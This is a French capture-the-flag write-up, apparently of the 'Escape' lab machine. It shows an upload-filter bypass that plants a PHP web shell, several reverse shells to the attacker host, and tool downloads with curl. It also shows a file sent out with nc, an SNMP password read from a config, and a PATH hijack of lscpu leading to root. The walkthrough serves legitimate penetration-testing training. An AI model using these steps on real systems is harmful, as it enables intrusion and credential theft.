Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-08-13 04:37 EDT
Nmap scan report for 192.168.229.113
Host is up (0.035s latency).
Not shown: 997 closed tcp ports (conn-refused)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 f0:85:61:65:d3:88:ad:49:6b:38:f4:ac:5b:90:4f:2d (RSA)
| 256 05:80:90:92:ff:9e:d6:0e:2f:70:37:6d:86:76:db:05 (ECDSA)
|_ 256 c3:57:35:b9:8a:a5:c0:f8:b1:b2:e9:73:09:ad:c7:9a (ED25519)
80/tcp open http Apache httpd 2.4.29 ((Ubuntu))
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-title: Escape
8080/tcp open http Apache httpd 2.4.38 ((Debian))
|_http-title: Escape
|_http-open-proxy: Proxy might be redirecting requests
|_http-server-header: Apache/2.4.38 (Debian)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-08-13 04:57 EDT
Nmap scan report for 192.168.229.113
Host is up (0.033s latency).
Not shown: 999 closed udp ports (port-unreach)
PORT STATE SERVICE
161/udp open snmp
HTTP (80)
HTTP (8080)
Même image que précédemment
Dev ?
Le chemin dev/uploads peut possiblement être intéressant. Nous allons tester d'upload un fichier malveillant sur le serveur. sur la page, on nous indique que seul les gifs sont acceptés.
Accès initial
Nous testons un fichier gif pour voir si il est bien uploadé... et non ! Nous avons testé plusieurs choses avec Burp Suite:
Intruder - tester un grand nombre d'extension --> sans résultat
Changer manuellement le magic number --> sans résultat
Jouer avec le Content-type --> sans résultat Jusqu'ici rien de surprenant, le site ne nous mène pas vers une fausse piste et il demande bien un fichier .gif
Nous allons voir le code source de la page.
Intéressant.... On supprime tout le contenu de notre gif sur Burp et on retente l'upload
"Uploaded"
Nous allons tester le chemin /uploads
Bingo ! Maintenant nous allons essayer d'upload un shell. Si nous changeons uniquement l'extension, le fichier peut toujours être upload. On ajoute donc notre code php en plein milieu de la requête en renomons le fichier : shell.php
Nous touchons au but.
La commande whoami nous indique bien www-data. Nous essayons which nc et n'avons pas de réponse, which bash indique /bin/bash, pas de réponse pour which python (problématique pour upgrade le shell)
On génère un reverse shell avec https://www.revshells.com/ en lançons un listeneur... Sans résultat. Nous allons tenter autrement, on va directement uploader php-pentest-monkey, de la même manière que le shell précédent. Et cela fonctionne !
Elévation des privilèges
Nous lançons un serveur python sur le port 8888 de notre machine kali et exécutons linpeas.
Rien qui ne saute véritablement aux yeux... Cependant certains fichier peuvent sembler intéressants, en se rappelant l'énumération initiale.
Deux informations importantes :
Nous avons le mot de passe : 53cur3M0NiT0riNg
Un fichier est exécuté : /tmp/shtest
Nous allons y placer un reverse-shell
Nous allons le télécharger dans le dossier /tmp de notre machine cible.
Nous avons bien échappé à Docker ! Maintenant nous devons devenir root
Un binaire est inhabituel : /usr/bin/logconsole Nous allons l'exécuter pour voir ce qu'il fait.
Ok, il permet d'exécuter des commandes. Nous allons voir si on ne peut pas remplacer l'une de ses commandes par un shell. Si le binaire appele par un chemin absolu, nous ne pourrons pas le remplacer (sauf si chemin ouvert en écriture pour nous). Nous n'avons pas la commande string sur la cible, nous allons donc récupérer le binaire sur notre machine. Téléchargeons nc sur la cible, avec un serveur python puis
La plupart des commandes utilisent leur chemin absolu. Ce n'est pas le cas de lscpu.
Choisir le 6
On relance linpeas... /opt/cert/openssl =ep is writable
┌──(kali㉿kali)-[~]
└─$ nc -lnvp 80
listening on [any] 80 ...
connect to [192.168.45.217] from (UNKNOWN) [192.168.229.113] 38812
Linux a7c367c2113d 4.15.0-124-generic #127-Ubuntu SMP Fri Nov 6 10:54:43 UTC 2020 x86_64 GNU/Linux
09:30:59 up 57 min, 0 users, load average: 0.00, 0.00, 0.00
USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT
uid=33(www-data) gid=33(www-data) groups=33(www-data)
bash: cannot set terminal process group (1): Inappropriate ioctl for device
bash: no job control in this shell
www-data@a7c367c2113d:/$ whoami
whoami
www-data
www-data@a7c367c2113d:/tmp$ curl -O http://192.168.45.217:8888/Tools/linpeas.sh
<curl -O http://192.168.45.217:8888/Tools/linpeas.sh
% Total % Received % Xferd Average Speed Time Time Time Current
Dload Upload Total Spent Left Speed
0 0 0 0 0 0 0 0 --:--:-- --:-100 842k 100 842k 0 0 2040k 0 --:--:-- --:--:-- --:--:-- 2045k
www-data@a7c367c2113d:/tmp$ chmod +x linpeas.sh
chmod +x linpeas.sh
www-data@a7c367c2113d:/tmp$ ./linpeas.sh
╔══════════╣ All relevant hidden files (not in /sys/ or the ones listed in the previous check) (limit 70)
-rwxr--r-- 1 root root 7340 Dec 9 2020 /var/backups/.snmpd.conf
-rw-r--r-- 1 www-data www-data 8196 Dec 9 2020 /var/www/html/dev/.DS_Store
-rw-r--r-- 1 root root 6961 Nov 18 2020 /usr/local/lib/php/.filemap
-rw-r--r-- 1 root root 0 Nov 18 2020 /usr/local/lib/php/.lock
-rw------- 1 root root 0 Nov 17 2020 /etc/.pwd.lock
-rw-r--r-- 1 root root 220 Apr 18 2019 /etc/skel/.bash_logout
{...}
host
#rocommunity public localhost
# Default access to basic system info
rocommunity public default -V systemonly
# rocommunity6 is for IPv6
rocommunity6 public default -V systemonly
rocommunity 53cur3M0NiT0riNg
{...}
# EXTENDING THE AGENT
#
#
# Arbitrary extension commands
#
extend test1 /bin/echo Hello, world!
extend-sh test2 echo Hello, world! ; echo Hi there ; exit 35
extend-sh test3 /bin/sh /tmp/shtest
{...}
www-data@a7c367c2113d:/$ cd /tmp
cd /tmp
www-data@a7c367c2113d:/tmp$ curl -O http://192.168.45.217:8888/shtest
curl -O http://192.168.45.217:8888/shtest
% Total % Received % Xferd Average Speed Time Time Time Current
Dload Upload Total Spent Left Speed
100 95 100 95 0 0 1557 0 --:--:-- --:--:-- --:--:-- 1557
┌──(kali㉿kali)-[~]
└─$ nc -lnvp 22
listening on [any] 22 ...
connect to [192.168.45.217] from (UNKNOWN) [192.168.229.113] 35110
bash: cannot set terminal process group (770): Inappropriate ioctl for device
bash: no job control in this shell
Debian-snmp@escape:/$ whoami
whoami
Debian-snmp
Debian-snmp@escape:/home/tom$ /usr/bin/logconsole
/usr/bin/logconsole
/$$ /$$
| $$ | $$
| $$ /$$$$$$ /$$$$$$ /$$$$$$$ /$$$$$$ /$$$$$$$ /$$$$$$$ /$$$$$$ | $$ /$$$$$$
| $$ /$$__ $$ /$$__ $$ /$$_____/ /$$__ $$| $$__ $$ /$$_____/ /$$__ $$| $$ /$$__ $$
| $$| $$ \ $$| $$ \ $$| $$ | $$ \ $$| $$ \ $$| $$$$$$ | $$ \ $$| $$| $$$$$$$$
| $$| $$ | $$| $$ | $$| $$ | $$ | $$| $$ | $$ \____ $$| $$ | $$| $$| $$_____/
| $$| $$$$$$/| $$$$$$$| $$$$$$$| $$$$$$/| $$ | $$ /$$$$$$$/| $$$$$$/| $$| $$$$$$$
|__/ \______/ \____ $$ \_______/ \______/ |__/ |__/|_______/ \______/ |__/ \_______/
/$$ \ $$
| $$$$$$/
\______/
1. About the Sytem
2. Current Process Status
3. List all the Users Logged in and out
4. Quick summary of User Logged in
5. IP Routing Table
6. CPU Information
7. To Exit
99. Generate the Report
Enter the option ==> 1
Linux escape 4.15.0-124-generic #127-Ubuntu SMP Fri Nov 6 10:54:43 UTC 2020 x86_64 x86_64 x86_64 GNU/Linux
Debian-snmp@escape:/tmp$ nc 192.168.45.217 1234 < /usr/bin/logconsole
┌──(kali㉿kali)-[~]
└─$ nc -lnvp 1234 > logconsole
listening on [any] 1234 ...
connect to [192.168.45.217] from (UNKNOWN) [192.168.229.113] 39356
┌──(kali㉿kali)-[~]
└─$ strings logconsole
/lib64/ld-linux-x86-64.so.2
mgUa
fopen
__isoc99_scanf
setreuid
putchar
stdin
popen
printf
{...}
[1;31m
1. About the Sytem
2. Current Process Status
3. List all the Users Logged in and out
4. Quick summary of User Logged in
5. IP Routing Table
6. CPU Information
7. To Exit
99. Generate the Report
[01;33m
Enter the option ==>
/bin/uname -a
/bin/ps aux
/usr/bin/last
/usr/bin/w
/sbin/ip route | column -t
lscpu
{...}
Debian-snmp@escape:/$ cd /tmp
cd /tmp
Debian-snmp@escape:/tmp$ curl -O http://192.168.45.217:8888/lscpu
curl -O http://192.168.45.217:8888/lscpu
% Total % Received % Xferd Average Speed Time Time Time Current
Dload Upload Total Spent Left Speed
0 0 0 0 0 0 0 0 --:--:-- --:--:-- -- 0 0 0 0 0 0 0 0 --:--:-- --:--:-- --100 61 100 61 0 0 953 0 --:--:-- --:--:-- --:--:-- 953
Debian-snmp@escape:/tmp$ chmod +x lscpu
chmod +x lscpu
Debian-snmp@escape:/tmp$ export PATH=/tmp:$PATH
export PATH=/tmp:$PATH
Debian-snmp@escape:/tmp$ /usr/bin/logconsole
┌──(kali㉿kali)-[~]
└─$ nc -lnvp 21
listening on [any] 21 ...
connect to [192.168.45.217] from (UNKNOWN) [192.168.229.113] 35918
bash: cannot set terminal process group (770): Inappropriate ioctl for device
bash: no job control in this shell
tom@escape:/tmp$ cd
tom@escape:/opt/cert$ ls -al
ls -al
total 724
drwxr-xr-x 2 root root 4096 Dec 9 2020 .
drwxr-xr-x 4 root root 4096 Dec 9 2020 ..
-rwx------ 1 root root 1245 Dec 9 2020 certificate.pem
-rwx------ 1 root root 1704 Dec 9 2020 key.pem
-rwxr-x--- 1 tom tom 723944 Dec 9 2020 openssl
┌──(kali㉿kali)-[~]
└─$ nano id_rsa
┌──(kali㉿kali)-[~]
└─$ chmod 600 id_rsa
┌──(kali㉿kali)-[~]
└─$ ssh root@192.168.229.113 -i id_rsa
The authenticity of host '192.168.229.113 (192.168.229.113)' can't be established.
ED25519 key fingerprint is SHA256:BFNHiG0TgvKeKOogN97RoTQRycbNoZgxixjThnW0398.
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '192.168.229.113' (ED25519) to the list of known hosts.
Welcome to Ubuntu 18.04.5 LTS (GNU/Linux 4.15.0-124-generic x86_64)
* Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/advantage
System information as of Tue Aug 13 08:24:08 EDT 2024
System load: 0.0 Processes: 175
Usage of /: 26.9% of 15.68GB Users logged in: 0
Memory usage: 25% IP address for docker0: 172.17.0.1
Swap usage: 0% IP address for ens192: 192.168.229.113
* Canonical Livepatch is available for installation.
- Reduce system reboots and improve kernel security. Activate at:
https://ubuntu.com/livepatch
14 packages can be updated.
10 updates are security updates.
The programs included with the Ubuntu system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.
Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by
applicable law.
root@escape:~#